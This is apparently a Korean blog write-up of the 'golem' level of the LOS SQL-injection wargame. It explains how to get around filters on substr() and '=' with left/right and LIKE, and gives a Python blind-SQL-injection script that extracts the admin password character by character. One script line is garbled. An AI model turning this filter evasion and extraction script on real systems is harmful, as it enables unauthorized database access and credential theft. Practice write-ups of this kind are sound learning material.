LOS - golem

2020. 5. 5. 21:07Web

screenshot1

id='guest' and pw='' 를 false로 바꾸고 id를 admin 그리고 blind sql injection으로 비밀번호를 알아내는 문제이다.

substr()이 차단되었고 = 이 차단되었다.

각자 대체할 수 있는 것은

substr : left(), mid(), right() 함수 들이고

= : like 으로 대체할 수 있다.

left(pw,3) 일때 pw가 abcde라면 abc가 리턴된다. 따라서 이걸 right(left(pw,3),1) 이런 식으로 사용하면 substr(pw,3,1) 과 같은 효과이다.

 

이를 참고하여 파이썬 코드를 짜 보았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
cookies = {
    "PHPSESSID" : "나의 PHPSESSID"
}
 
= 1
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
pw = ""
while True:
    payload = "?pw=aaa\' || id like %27admin%27 %26%26 length(pw) like %27"+str(i)
    res = requests.get(url=url+payload,cookies=cookies);
    if "Hello admin" in res.text:
        print("length of pw = %d" %i)
        for j in range(1,i+1):
            print("\npw : "+pw)
            for k in range(33,127):
                payload = "?pw=aaa\' || id like \'admin\' %26%26 right(left(pw,"+str(j)+"),1) like \'"+chr(k)
                # left(pw,j) like pw+chr(k)
                print("%c" %chr(k),end="")
                res = requests.get(url=url+payload,cookies=cookies)
                if "Hello admin" in res.text:
                    pw += chr(k)
                    break
                
        break
    else :
        print("%d" %i)
        i+=1
print("pw : "+pw)
cs

screenshot2

뒤 처럼 pw를 구할 수 있었다 (77D6290B)

 

하지만 그동안의 문제들처럼 대문자 소문자가 다를 수 있다.

그런데 그동안 blind sql injection 으로 구한 비밀번호들의 알파벳은 모두 소문자인걸로 봐서

LOS에서 구한 pw는 소문자가 국룰인가 보다.

screenshot3

 

'Web' 카테고리의 다른 글

LOS - bugbear  (0) 2020.05.06
LOS - darkknight  (0) 2020.05.05
LOS - skeleton  (0) 2020.05.05
LOS - vampire  (0) 2020.05.05
LOS - troll  (1) 2020.05.05